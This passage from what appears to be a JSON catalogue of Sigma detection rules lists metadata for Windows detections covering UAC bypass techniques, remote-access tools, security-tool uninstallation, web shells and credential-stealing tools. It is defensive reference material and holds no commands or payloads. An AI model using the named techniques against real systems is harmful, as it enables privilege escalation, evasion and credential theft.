"https://github.com/Wh04m1001/IDiagnosticProfileUAC", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_idiagnostic_profile.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ], - "creation_date": "2022/07/03", - "filename": "proc_creation_win_uac_bypass_idiagnostic_profile.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the pattern of UAC Bypass using IEInstal.exe (UACMe 64)", - "uuid": "80fc36aa-945e-4181-89f2-2f907ab6775d", - "value": "UAC Bypass Using IEInstal - Process", - "meta": { - "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_ieinstal.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ], - "creation_date": "2021/08/30", - "filename": "proc_creation_win_uac_bypass_ieinstal.yml", - "author": "Christian Burkard", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the pattern of UAC Bypass using a msconfig GUI hack (UACMe 55)", - "uuid": "ad92e3f9-7eb6-460e-96b1-582b0ccbb980", - "value": "UAC Bypass Using MSConfig Token Modification - Process", - "meta": { - "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_msconfig_gui.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ], - "creation_date": "2021/08/30", - "filename": "proc_creation_win_uac_bypass_msconfig_gui.yml", - "author": "Christian Burkard", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the pattern of UAC Bypass using NTFS reparse point and wusa.exe DLL hijacking (UACMe 36)", - "uuid": "39ed3c80-e6a1-431b-9df3-911ac53d08a7", - "value": "UAC Bypass Using NTFS Reparse Point - Process", - "meta": { - "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_ntfs_reparse_point.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ], - "creation_date": "2021/08/30", - "filename": "proc_creation_win_uac_bypass_ntfs_reparse_point.yml", - "author": "Christian Burkard", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the pattern of UAC Bypass using pkgmgr.exe and dism.exe (UACMe 23)", - "uuid": "a743ceba-c771-4d75-97eb-8a90f7f4844c", - "value": "UAC Bypass Using PkgMgr and DISM", - "meta": { - "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_pkgmgr_dism.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ], - "creation_date": "2021/08/23", - "filename": "proc_creation_win_uac_bypass_pkgmgr_dism.yml", - "author": "Christian Burkard", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)", - "uuid": "7a01183d-71a2-46ad-ad5c-acd989ac1793", - "value": "UAC Bypass Abusing Winsat Path Parsing - Process", - "meta": { - "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_winsat.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ], - "creation_date": "2021/08/30", - "filename": "proc_creation_win_uac_bypass_winsat.yml", - "author": "Christian Burkard", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)", - "uuid": "0058b9e5-bcd7-40d4-9205-95ca5a16d7b2", - "value": "UAC Bypass Using Windows Media Player - Process", - "meta": { - "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_wmp.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ], - "creation_date": "2021/08/23", - "filename": "proc_creation_win_uac_bypass_wmp.yml", - "author": "Christian Burkard", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects use of WSReset.exe to bypass User Account Control (UAC). Adversaries use this technique to execute privileged processes.", - "uuid": "d797268e-28a9-49a7-b9a8-2f5039011c5c", - "value": "Bypass UAC via WSReset.exe", - "meta": { - "refs": [ - "https://eqllib.readthedocs.io/en/latest/analytics/532b5ed4-7930-11e9-8f5c-d46d6d62a49e.html", - "https://lolbas-project.github.io/lolbas/Binaries/Wsreset/", - "https://www.activecyber.us/activelabs/windows-uac-bypass", - "https://twitter.com/ReaQta/status/1222548288731217921", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_wsreset.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.defense_evasion", - "attack.t1548.002" - ], - "creation_date": "2019/10/24", - "filename": "proc_creation_win_uac_bypass_wsreset.yml", - "author": "E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community, Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown sub processes of Wsreset.exe" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the pattern of UAC Bypass via WSReset usable by default sysmon-config", - "uuid": "89a9a0e0-f61a-42e5-8957-b1479565a658", - "value": "UAC Bypass WSReset", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Wsreset/", - "https://github.com/hfiref0x/UACME", - "https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_wsreset_integrity_level.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ], - "creation_date": "2021/08/23", - "filename": "proc_creation_win_uac_bypass_wsreset_integrity_level.yml", - "author": "Christian Burkard", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", - "uuid": "88656cec-6c3b-487c-82c0-f73ebb805503", - "value": "Use of UltraViewer Remote Access Software", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ultraviewer.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ], - "creation_date": "2022/09/25", - "filename": "proc_creation_win_ultraviewer.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate use" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "An adversary may use legitimate desktop support and remote access software,to establish an interactive command and control channel to target systems within networks", - "uuid": "145322e4-0fd3-486b-81ca-9addc75736d8", - "value": "Use of UltraVNC Remote Access Software", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1219/T1219.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ultravnc.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ], - "creation_date": "2022/10/02", - "filename": "proc_creation_win_ultravnc.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate use" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities by uninstalling Crowdstrike Falcon", - "uuid": "f0f7be61-9cf5-43be-9836-99d6ef448a18", - "value": "Uninstall Crowdstrike Falcon", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uninstall_crowdstrike_falcon.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2021/07/12", - "filename": "proc_creation_win_uninstall_crowdstrike_falcon.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Uninstall by admin" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the uninstallation of Sysinternals Sysmon, which could be the result of legitimate administration or a manipulation for defense evasion", - "uuid": "6a5f68d1-c4b5-46b9-94ee-5324892ea939", - "value": "Uninstall Sysinternals Sysmon", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md#atomic-test-11---uninstall-sysmon", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uninstall_sysmon.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2022/01/12", - "filename": "proc_creation_win_uninstall_sysmon.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects an unexpected process spawning from dns.exe which may indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)", - "uuid": "a4e3d776-f12e-42c2-8510-9e6ed1f43ec3", - "value": "Unusual Child Porcess of dns.exe", - "meta": { - "refs": [ - "https://www.elastic.co/guide/en/security/current/unusual-child-process-of-dns.exe.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_unusual_child_process_of_dns_exe.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1133" - ], - "creation_date": "2022/09/27", - "filename": "proc_creation_win_unusual_child_process_of_dns_exe.yml", - "author": "Tim Rauch", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious parent process for cmd.exe", - "uuid": "4b991083-3d0e-44ce-8fc4-b254025d8d4b", - "value": "Unusual Parent Process for cmd.exe", - "meta": { - "refs": [ - "https://www.elastic.co/guide/en/security/current/unusual-parent-process-for-cmd.exe.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_unusual_parent_for_cmd.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ], - "creation_date": "2022/09/21", - "filename": "proc_creation_win_unusual_parent_for_cmd.yml", - "author": "Tim Rauch", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of the Get-ADUser cmdlet to collect user information and output it to a file", - "uuid": "c2993223-6da8-4b1a-88ee-668b8bf315e9", - "value": "User Discovery And Export Via Get-ADUser Cmdlet", - "meta": { - "refs": [ - "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", - "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_user_discovery_get_aduser.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1033" - ], - "creation_date": "2022/09/09", - "filename": "proc_creation_win_user_discovery_get_aduser.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate admin scripts may use the same technique, it's better to exclude specific computers or users who execute these commands or scripts often" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detection of sc.exe utility spawning by user with Medium integrity level to change service ImagePath or FailureCommand", - "uuid": "d937b75f-a665-4480-88a5-2f20e9f9b22a", - "value": "Possible Privilege Escalation via Weak Service Permissions", - "meta": { - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", - "https://pentestlab.blog/2017/03/30/weak-service-permissions/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_using_sc_to_change_sevice_image_path_by_non_admin.yml" - ], - "tags": [ - "attack.persistence", - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1574.011" - ], - "creation_date": "2019/10/26", - "filename": "proc_creation_win_using_sc_to_change_sevice_image_path_by_non_admin.yml", - "author": "Teymur Kheirkhabarov", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detection of sc.exe utility adding a new service with special permission which hides that service.", - "uuid": "a537cfc3-4297-4789-92b5-345bfd845ad0", - "value": "Abuse of Service Permissions to Hide Services in Tools", - "meta": { - "refs": [ - "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html", - "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/", - "https://twitter.com/Alh4zr3d/status/1580925761996828672", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_using_sc_to_hide_sevices.yml" - ], - "tags": [ - "attack.persistence", - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1574.011" - ], - "creation_date": "2021/12/20", - "filename": "proc_creation_win_using_sc_to_hide_sevices.yml", - "author": "Andreas Hunkeler (@Karneades)", - "level": "high", - "falsepositive": [ - "Rare intended use of hidden services" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects using SettingSyncHost.exe to run hijacked binary", - "uuid": "b2ddd389-f676-4ac4-845a-e00781a48e5f", - "value": "Using SettingSyncHost.exe as LOLBin", - "meta": { - "refs": [ - "https://www.hexacorn.com/blog/2020/02/02/settingsynchost-exe-as-a-lolbin", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_using_settingsynchost_as_lolbin.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.t1574.008" - ], - "creation_date": "2020/02/05", - "filename": "proc_creation_win_using_settingsynchost_as_lolbin.yml", - "author": "Anton Kutepov, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of the \"Set-Service\" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as \"sc.exe\", \"Get-Service\"...etc. (Works only in powershell 7)", - "uuid": "514e4c3a-c77d-4cde-a00f-046425e2301e", - "value": "Abuse of Service Permissions to Hide Services Via Set-Service", - "meta": { - "refs": [ - "https://twitter.com/Alh4zr3d/status/1580925761996828672", - "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-service?view=powershell-7.2", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_using_set_service_to_hide_services.yml" - ], - "tags": [ - "attack.persistence", - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1574.011" - ], - "creation_date": "2022/10/17", - "filename": "proc_creation_win_using_set_service_to_hide_services.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Rare intended use of hidden services" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects when verclsid.exe is used to run COM object via GUID", - "uuid": "d06be4b9-8045-428b-a567-740a26d9db25", - "value": "Verclsid.exe Runs COM Object", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Verclsid/", - "https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5", - "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_verclsid_runs_com.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2020/10/09", - "filename": "proc_creation_win_verclsid_runs_com.yml", - "author": "Victor Sergeev, oscd.community", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious child process creations of VMware Tools process which may indicate persistence setup", - "uuid": "5687f942-867b-4578-ade7-1e341c46e99a", - "value": "VMToolsd Suspicious Child Process", - "meta": { - "refs": [ - "https://bohops.com/2021/10/08/analyzing-and-detecting-a-vmtools-persistence-technique/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vmtoolsd_susp_child_process.yml" - ], - "tags": [ - "attack.execution", - "attack.persistence", - "attack.t1059" - ], - "creation_date": "2021/10/08", - "filename": "proc_creation_win_vmtoolsd_susp_child_process.yml", - "author": "behops, Bhabesh Raj", - "level": "high", - "falsepositive": [ - "Legitimate use by administrator" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a JAVA process running with remote debugging allowing more than just localhost to connect", - "uuid": "8f88e3f6-2a49-48f5-a5c4-2f7eedf78710", - "value": "Java Running with Remote Debugging", - "meta": { - "refs": [ - "https://dzone.com/articles/remote-debugging-java-applications-with-jdwp", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vul_java_remote_debugging.yml" - ], - "tags": [ - "attack.t1203", - "attack.execution" - ], - "creation_date": "2019/01/16", - "filename": "proc_creation_win_vul_java_remote_debugging.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "When configured with suitable command line arguments, w32tm can act as a delay mechanism", - "uuid": "6da2c9f5-7c53-401b-aacb-92c040ce1215", - "value": "Use of W32tm as Timer", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/d0dad62dbcae9c60c519368e82c196a3db577055/atomics/T1124/T1124.md", - "https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_w32tm.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1124" - ], - "creation_date": "2022/09/25", - "filename": "proc_creation_win_w32tm.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Legitimate use" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of wab.exe (Windows Contacts) and Wabmig.exe (Microsoft Address Book Import Tool) from non default locations as seen with bumblebee activity", - "uuid": "395907ee-96e5-4666-af2e-2ca91688e151", - "value": "Wab Execution From Non Default Location", - "meta": { - "refs": [ - "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime", - "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wab_execution_from_non_default_location.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution" - ], - "creation_date": "2022/08/12", - "filename": "proc_creation_win_wab_execution_from_non_default_location.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects unusual parent or children of the wab.exe (Windows Contacts) and Wabmig.exe (Microsoft Address Book Import Tool) processes as seen being used with bumblebee activity", - "uuid": "63d1ccc0-2a43-4f4b-9289-361b308991ff", - "value": "Wab/Wabmig Unusual Parent Or Child Processes", - "meta": { - "refs": [ - "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime", - "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wab_unusual_parents.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution" - ], - "creation_date": "2022/08/12", - "filename": "proc_creation_win_wab_unusual_parents.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects weak passwords or often abused passwords (seen used by threat actors) via the CLI. An example would be a threat actor creating a new user via the net command and providing the password inline", - "uuid": "91edcfb1-2529-4ac2-9ecc-7617f895c7e4", - "value": "Weak or Abused Passwords In CLI", - "meta": { - "refs": [ - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments", - "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", - "https://www.microsoft.com/en-us/security/blog/2022/10/25/dev-0832-vice-society-opportunistic-ransomware-campaigns-impacting-us-education-sector/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_weak_or_abused_passwords.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution" - ], - "creation_date": "2022/09/14", - "filename": "proc_creation_win_weak_or_abused_passwords.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate usage of the passwords by users via commandline (should be discouraged)", - "Other currently unknown false positives" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detect use of WebBrowserPassView.exe", - "uuid": "d0dae994-26c6-4d2d-83b5-b3c8b79ae513", - "value": "Launch WebBrowserPassView Executable", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1555.003/T1555.003.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webbrowserpassview.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1555.003" - ], - "creation_date": "2022/08/20", - "filename": "proc_creation_win_webbrowserpassview.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate use" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects patterns found in process executions cause by China Chopper like tiny (ASPX) webshells", - "uuid": "fa3c117a-bc0d-416e-a31b-0c0e80653efb", - "value": "Chopper Webshell Process Pattern", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_chopper.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003", - "attack.t1018", - "attack.t1033", - "attack.t1087" - ], - "creation_date": "2022/10/01", - "filename": "proc_creation_win_webshell_chopper.yml", - "author": "Florian Roth (rule), MSTI (query)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects certain command line parameters often used during reconnaissance activity via web shells", - "uuid": "bed2a484-9348-4143-8a8a-b801c979301c", - "value": "Webshell Detection With Command Line Keywords", - "meta": { - "refs": [ - "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html", - "https://unit42.paloaltonetworks.com/bumblebee-webshell-xhunt-campaign/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_detection.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003", - "attack.t1018", - "attack.t1033", - "attack.t1087" - ], - "creation_date": "2017/01/01", - "filename": "proc_creation_win_webshell_detection.yml", - "author": "Florian Roth, Jonhnathan Ribeiro, Anton Kutepov, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects certain parent child patterns found in cases in which a webshell is used to perform certain credential dumping or exfiltration activities on a compromised system", - "uuid": "4ebc877f-4612-45cb-b3a5-8e3834db36c9", - "value": "Webshell Hacking Activity Patterns", - "meta": { - "refs": [ - "https://youtu.be/7aemGhaE9ds?t=641", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_hacking.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003", - "attack.t1018", - "attack.t1033", - "attack.t1087" - ], - "creation_date": "2022/03/17", - "filename": "proc_creation_win_webshell_hacking.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects processes spawned from web servers (php, tomcat, iis...etc) that perform reconnaissance looking for the existence of popular scripting tools (perl, python, wget) on the system via the help commands", - "uuid": "f64e5c19-879c-4bae-b471-6d84c8339677", - "value": "Webshell Recon Detection Via CommandLine & Processes", - "meta": { - "refs": [ - "https://ragged-lab.blogspot.com/2020/07/webshells-automating-reconnaissance.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_recon_detection.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003" - ], - "creation_date": "2020/07/22", - "filename": "proc_creation_win_webshell_recon_detection.yml", - "author": "Cian Heasley, Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects web servers that spawn shell processes which could be the result of a successfully placed web shell or another attack", - "uuid": "8202070f-edeb-4d31-a010-a26c72ac5600", - "value": "Shells Spawned by Web Servers", - "meta": { - "refs": [ - "https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_spawn.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003", - "attack.t1190" - ], - "creation_date": "2019/01/16", - "filename": "proc_creation_win_webshell_spawn.yml", - "author": "Thomas Patzke, Florian Roth, Zach Stanford @svch0st, Tim Shelton, Nasreddine Bencherchali (update)", - "level": "high", - "falsepositive": [ - "Particular web applications may spawn a shell process legitimately" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of the wevtutil utility to perform reconnaissance", - "uuid": "beaa66d6-aa1b-4e3c-80f5-e0145369bfaf", - "value": "Wevtutil Recon", - "meta": { - "refs": [ - "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wevtutil_recon.yml" - ], - "tags": [ - "attack.discovery" - ], - "creation_date": "2022/09/09", - "filename": "proc_creation_win_wevtutil_recon.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitmate usage of the utility by administrators to query the event log" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a whoami.exe executed by privileged accounts that are often misused by threat actors", - "uuid": "79ce34ca-af29-4d0e-b832-fc1b377020db", - "value": "Run Whoami as Privileged User", - "meta": { - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", - "https://nsudo.m2team.org/en-us/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_as_priv_user.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.discovery", - "attack.t1033" - ], - "creation_date": "2022/01/28", - "filename": "proc_creation_win_whoami_as_priv_user.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a whoami.exe executed by LOCAL SYSTEM. This may be a sign of a successful local privilege escalation.", - "uuid": "80167ada-7a12-41ed-b8e9-aa47195c66a1", - "value": "Run Whoami as SYSTEM", - "meta": { - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_as_system.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.discovery", - "attack.t1033" - ], - "creation_date": "2019/10/23", - "filename": "proc_creation_win_whoami_as_system.yml", - "author": "Teymur Kheirkhabarov, Florian Roth", - "level": "high", - "falsepositive": [ - "Possible name overlap with NT AUHTORITY substring to cover all languages" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a whoami.exe executed with the /priv command line flag instructing the tool to show all current user privieleges. This is often used after a privilege escalation attempt.", - "uuid": "97a80ec7-0e2f-4d05-9ef4-65760e634f6b", - "value": "Run Whoami Showing Privileges", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/whoami", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_priv.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.discovery", - "attack.t1033" - 